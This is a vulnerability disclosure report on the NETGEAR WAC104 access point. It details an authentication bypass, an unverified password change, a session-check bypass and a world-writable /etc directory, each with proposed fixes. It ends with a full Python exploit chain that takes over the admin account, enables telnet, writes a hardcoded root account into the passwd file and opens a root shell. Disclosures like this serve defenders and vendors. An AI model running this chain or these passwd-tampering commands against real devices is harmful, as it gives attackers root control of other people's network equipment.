```
*** Summary:
Affected Model: NETGEAR WAC104 Dual Band 802.11ac Wireless Access Point
Firmware Version: V1.0.4.13 (from 2020-09-14)
NETGEAR WAC104 Access Point has multiple vulnerabilities which - chained
together - allow an attacker in LAN to both change device admin's password, and
gain root shell on the device.
NOTE: Actually I'm pretty sure an Internet-based attacker can perform a
reflected attack against a LAN user for most of these as well, however I haven't
tested this vector (it would require some modifications to the chain).
The reported exploit chain consists of the following vulnerabilities:
1. HTTP Authentication Bypass (mini_httpd)
2. Unverified Password Change (setup.cgi)
3. Session ID Verification Bypass (setup.cgi)
4. /tmp/etc Directory Permission Issue
In addition one more vulnerability outside of the exploit chain is reported:
1.5. .bss section Buffer Overflow in HTTP header processing (mini_httpd)
Sections below contain details on these vulnerabilities.
IMPORTANT: These vulnerabilities are reported under the 90-day policy, i.e. this
report will be shared publicly with the defensive community on 28th June 2021.
See https://www.google.com/about/appsecurity/ for details.
NOTE: At this point in time I haven't checked what other models are affected,
but I strongly suspect that at least several other NETGEAR devices use the same
code (e.g. R6220 or WNDR3700v5 seem to be using the same PCB).
*** Details:
**** 1. HTTP Authentication Bypass (mini_httpd)
WAC104 administration web panel requires HTTP Basic Authentication to access
most of its components (i.e. all the interesting ones).
The authentication checks are made by the function in mini_httpd at the address
0x00406adc, which starts with the following pseudo-code:
if (DWORD_flag_at_004202a4 == 1) {
/* Check whether IP is from LAN, which is always true on this model. */
return;
}
/* Normal authentication path continues.
* Process exits in case of invalid credentials.
*/
The DWORD_flag_at_004202a4 flag is set on three occasions when processing the
HTTP request packet in the 0x00407a28 function:
1. When "SOAPAction:" HTTP header is present and has a specific value.
2. When the requested URI contains "setupwizard.cgi" substring.
3. When the requested URI contains "currentsetting.htm" substring.
Both the 1. and 2. instance are done pretty early in the code of the said
function, and both result in the execution being redirected to a branch which
seems to cut the connection to the HTTP server short (I didn't investigate why
is that).
The 3. instance is done pretty late in the request parsing code, and it doesn't
result in the HTTP server misbehaving. Its pseudo-code looks like this:
if (strstr(request_URI, "currentsetting.htm") != NULL) {
DWORD_flag_at_004202a4 = 1;
}
/* Processing continues. */
To bypass authentication, yet still maintain the ability to request any CGI
script, it's enough to use null-byte poison in the following manner:
GET /file-to-access%00currentsetting.htm HTTP/1.1
The 3. check will be successful since it's performed before the requested URI is
URL-decoded. And the latter URL-decoding will inject the null-byte to truncate
the C-string short for further processing.
Please note that the null-byte here isn't required for this to work - for
example placing the "currentsetting.htm" string in an additional query parameter
should work as well (e.g. /setup.cgi?todo=something&xyz=currentsetting.htm).
In the exploit chain this bypass allows the attacker to call any GET action in
setup.cgi (for POST actions see vulnerability 3).
Proposed Fix:
Review the whole authentication logic. If access to some files is really needed
without authentication, make sure that the file name is checked against a list
after all the processing is done. Checking if a string is contained in an URI
is obviously not the way to go.
**** 1.5. .bss section Buffer Overflow in HTTP header processing (mini_httpd)
This isn't really used in this exploit chain, but the "SOAPAction:" HTTP header
processing has a .bss section-based buffer overflow. Here's the pseudo code of a
part of the mini_httpd's HTTP request processing function (around 0x0040804c):
if (strncasecmp(header_line, "SOAPAction:", 11) == 0) {
int i = strspn(header_line + 11, " \t");
char *p = strcasestr(header_line + 11 + i, urn:NETGEAR-ROUTER:service:");
int j = 0;
if (p != NULL) {
while (true) {
if (p[j + 27] == ':') break; // Missing output buffer length check.
buffer_at_00420224[j] = p[j + 27];
j++;
}
buffer_at_00420224[j] = 0;
DWORD_flag_at_004202a4 = 1;
}
}
Currently because (as mentioned before) setting the DWORD_flag_at_004202a4 flag
causes the server to exit early, this might not be exploitable (though I didn't
spend enough time on this to say that with any certainty).
If it would be though, there are a couple of interesting pointers nearby in
memory that might turn this into a read-from-where and a write-what-where
conditions (that would be the HTTP response buffer pointer + sizes).
Proposed Fix:
Either add a size check, or remove this code if it's not needed.
**** 2. Unverified Password Change (setup.cgi)
The setup.cgi program has 120 different actions allowing to read and write
various configuration options, as well as perform various other administrative
actions.
There are two actions specific to changing the password:
1. todo=save_passwd
2. todo=con_save_passwd
The first one (save_passwd) is meant to be used through the web interface and
requires the user to provide the old password. To be more precise, it verifies
the old password against the one stored in NVRAM under the "http_password" key,
and then writes the new password both to NVRAM's "http_password" and to the
/etc/htpasswd file (but not to /etc/passwd). It also requires a POST request
with a valid session id ("id") query parameter.
The second one (con_save_passwd) however doesn't require the old password, and
happily changes the NVRAM "http_password" (only this one) to the provided one.
Example (incorporating the authentication bypass; this could be an XSRF from
WAN as well):
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin
The above request will change WAC104's password in NVRAM, however it still
requires:
A. A reboot for the password to be propagated to /etc/passwd and /etc/htpasswd
files.
B. Or a call to todo=save_passwd action to reset the password to the
/etc/htpasswd file for immediate website access (since the password in
NVRAM was already changed, this action is now feasible as well).
Both of these however require a POST request with a valid session (see next
vulnerability).
Proposed Fix:
Either remove con_save_passwd (and all other unused actions) from setup.cgi,
or make sure it verifies the old password.
Also, all GET actions seem to not have any XSRF protections. This should be
reworked as it currently enabled reflected attacks against a logged-in admin.
**** 3. Session ID Verification Bypass (setup.cgi)
I'll admit that this vulnerability behaves weird, and I might be completely
misunderstanding the code behind it. That said, I decided to report it as well.
For POST requests setup.cgi checks (in main()) whether the /tmp/SessionFile file
contains the same 32-bit number as the "id" query parameter. If it doesn't, it
goes into a branch that eventually falls into a "respond with 403" block.
The /tmp/SessionFile file's name can actually be suffixed by the attacker by
using another query parameter - "sp". E.g. for "sp=ABC" the opened session
file would be "/tmp/SessionFileABC".
The problem lies in the function which reads the integer value from the session
file - i.e. the function (at 0x00403f04) returns 0 in case the file is not found
(pseudo-code follows):
int session_id = 0;
FILE *f = fopen(session_file, "r");
if (f != NULL) {
fscanf(f, "%x", &session_id);
fclose(f);
} // Missing hard error on non-existing file.
return session_id;
Given the above, it seems to be enough to send "id=0&sp=ABC" in the request to
bypass the session number verification (as /tmp/SessionFileABC should not
exist, therefore the function would return 0).
NOTE: Sometimes it's required to enter /401_access_denied.htm endpoint before
this starts to work. Sometimes it works in weird/unpredictable ways. More
analysis would be required here.
Proposed Fix:
There are three things that should be addressed here:
1. Appending the suffix seems to allow path traversal - this isn't ideal and
should be fixed. The "sp" parameter can probably be limited to integers
only.
2. Missing session file should result in a hard error.
3. A 32-bit number is brute-forcable in LAN. It should be at least 128 bits.
**** 4. /tmp/etc Directory Permission Issue
After rebooting the Access Point (using e.g. /setup.cgi with todo=reboot) the
changed password would be propagated everywhere.
This allows the attacker to enable the telnetd server (using a simple
/setup.cgi?todo=debug request) and get access to the shell.
This however grants only "admin" (uid 2000) user access, and not "root" (uid 0),
with all files and processed being owned by "root".
To elevate privileges to root it's enough to run the following commands:
cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd
The commands above abuse the fact that:
1. /etc/ points to /tmp/etc
2. /tmp/etc/ directory has permissions set to 777 (rwxrwxrwx).
This means that while the "admin" user cannot change /etc/passwd (or rather
/tmp/etc/passwd) since it's owned by "root" with 644 (rw-r--r--) permissions,
they can in fact rename it since the parent directory has 777 permissions.
After this the attacker can create a new passwd file and add a new entry to it.
For example the snipped above adds a new user "toor" with uid/gid 0, and
password set to "AlaMaKota1234".
Proposed Fix:
Review all permissions in the file system. There are multiple directories which
probably shouldn't be 777, and multiple files which probably shouldn't be
readable by "admin".
*** PoC Exploit:
The Python 3 Proof of Concept exploit below implement the full LAN exploit
chain, starting from no access at all, and (if everything works well) ending
with a root shell on the device.
Since it's only a PoC, it's neither robust nor well tested. E.g. note that
you'll have to edit the IP in source (line 18), as well as press ENTER a couple
of times at various places to progress (e.g. after router reboot).
#!/usr/bin/python
# This is a helper CTF script which I normally use, so the quality of the code
# isn't the greatest. Oh well :shrug:.
# In any case, you need to set the IP of the WAC104 AP.
# Tested on 1.0.4.13 firmware.
# -- gynvael
import random
import sys
import socket
import telnetlib
import os
import time
import base64
import threading
from struct import pack, unpack
DEBUG = False
HOST = '192.168.2.203'
TEMP_PASSWORD = "SomeTempPwd1234"
NEW_PASSWORD = "NewSetPwd1234"
# Root (or rather toor) user's password is hardcoded.
def recvuntil(sock, txt):
d = b""
while d.find(txt) == -1:
try:
dnow = sock.recv(1)
if len(dnow) == 0:
return ("DISCONNECTED", d)
except socket.timeout:
return ("TIMEOUT", d)
except socket.error as msg:
return ("ERROR", d)
d += dnow
return ("OK", d)
def recvall(sock, n):
d = b""
while len(d) != n:
try:
dnow = sock.recv(n - len(d))
if len(dnow) == 0:
return ("DISCONNECTED", d)
except socket.timeout:
return ("TIMEOUT", d)
except socket.error as msg:
return ("ERROR", d)
d += dnow
return ("OK", d)
# Proxy object for sockets.
class gsocket(object):
def __init__(self, *p):
self._sock = socket.socket(*p)
def __getattr__(self, name):
return getattr(self._sock, name)
def recvall(self, n):
err, ret = recvall(self._sock, n)
if err != "OK":
return False
return ret
def recvuntil(self, txt):
err, ret = recvuntil(self._sock, txt)
if err != "OK":
return False
return ret
def recvuntilend(self):
k = []
while True:
d = self._sock.recv(10000)
if not d:
break
k.append(d)
return b''.join(k)
def send_via_http(payload):
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 80))
s.sendall(payload)
d = s.recvuntilend()
d = str(d, "cp852")
if DEBUG:
sys.stdout.write(d)
print("")
status = d.split("\n")[0].strip()
print(status)
s.shutdown(socket.SHUT_RDWR)
s.close()
return status
def reset_session_state_or_sth():
# I'm not really sure why this works, but it does.
status = send_via_http(
b'\r\n'.join([
b"GET /401_access_denied.htm HTTP/1.5",
b"Host: aplogin",
b"", b""
])
)
if "200 OK" not in status:
sys.exit("ERROR: Something went wrong on the initial step.")
def enable_debug_mode():
status = send_via_http(
b'\r\n'.join([
b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5",
b"Host: aplogin",
b"", b""
])
)
if "200 OK" not in status:
sys.exit("ERROR: Something went when enabling telnet.")
def change_nvram_password(new_password):
# This is an PoC exploit, so skipping any URL-encoding that should be done
# here.
new_password = bytes(new_password, "utf-8")
status = send_via_http(
b'\r\n'.join([
( b"GET /setup.cgi?todo=con_save_passwd&"
b"sysNewPasswd=%s&sysConfirmPasswd=%s"
b"%%00currentsetting.htm HTTP/1.5" ) % (new_password, new_password),
b"Host: aplogin",
b"", b""
])
)
if len(status):
print("WARN: This usually returns nothing. Weird.")
def reboot():
send_via_http(
b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: 11",
b"Content-Type: application/x-www-form-urlencoded",
b"",
b"todo=reboot"
])
)
def change_password_full(old_password, new_password):
old_password = bytes(old_password, "utf-8")
new_password = bytes(new_password, "utf-8")
post_body = (
b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&"
b"question1=1&answer1=a&question2=1&answer2=a&"
b"todo=save_passwd&"
b"this_file=PWD_password.htm&"
b"next_file=PWD_password.htm&"
b"SID=&h_enable_recovery=disable&"
b"h_question1=1&h_question2=1"
) % (old_password, new_password, new_password)
status = send_via_http(
b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: %i" % len(post_body),
b"Content-Type: application/x-www-form-urlencoded",
b"",
post_body
])
)
if "200 OK" not in status:
sys.exit("ERROR: Something went wrong when committing password.")
def add_root_user(password):
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 23))
t = telnetlib.Telnet()
t.sock = s
print(str(t.read_until(b"WAC104 login: "), "cp852"))
t.write(b"admin\n")
print(str(t.read_until(b"Password: "), "cp852"))
t.write(bytes(password, "utf-8") + b"\n")
print(str(t.read_until(b"$ "), "cp852"))
# Adds root user named "toor" with password "AlaMaKota1234".
t.write(
b"cd /tmp/etc\n"
b"cp passwd passwdx\n"
b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n"
b"mv passwd old_passwd\n"
b"mv passwdx passwd\n"
b"echo DONEMARKER\n"
)
print(str(t.read_until(b"DONEMARKER"), "cp852"))
t.close()
def connect_as_root():
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 23))
t = telnetlib.Telnet()
t.sock = s
print(str(t.read_until(b"WAC104 login: "), "cp852"))
t.write(b"toor\n")
print(str(t.read_until(b"Password: "), "cp852"))
t.write(b"AlaMaKota1234\n")
t.interact()
t.close()
print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()
print(("-" * 70) + " CHANGE NVRAM PASSWORD")
change_nvram_password(TEMP_PASSWORD)
print(("-" * 70) + " CHANGE FULL PASSWORD")
change_password_full(TEMP_PASSWORD, NEW_PASSWORD)
print(
f"\n"
f"From now you can login to the web interface using these credentials:\n"
f" admin / {NEW_PASSWORD}\n"
f"\n"
f"Press CTRL+C to stop here. Otherwise press ENTER to reboot the router, "
f"enable telnetd, and run privilege escalation exploit.\n"
)
input()
print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()
print(("-" * 70) + " REBOOT")
reboot()
print(
"\n"
"Wait a few minutes for the device to restart and press ENTER to continue.\n"
)
input()
print(("-" * 70) + " ENABLE DEBUG MODE")
enable_debug_mode()
print(("-" * 70) + " WAITING 10 SECONDS FOR TELNETD")
time.sleep(10)
print(("-" * 70) + " TRYING TO GET ROOT")
for i in range(5):
try:
add_root_user(NEW_PASSWORD)
break
except socket.ConnectionRefusedError:
print("Sleeping 5 more seconds...")
time.sleep(5)
print(
"\n"
"In the future you can connect as root using these credentials:\n"
" toor / AlaMaKota1234\n"
"\n"
)
print(("-" * 70) + " CONNECTING TO TELNETD AS ROOT")
connect_as_root()
```
暂无评论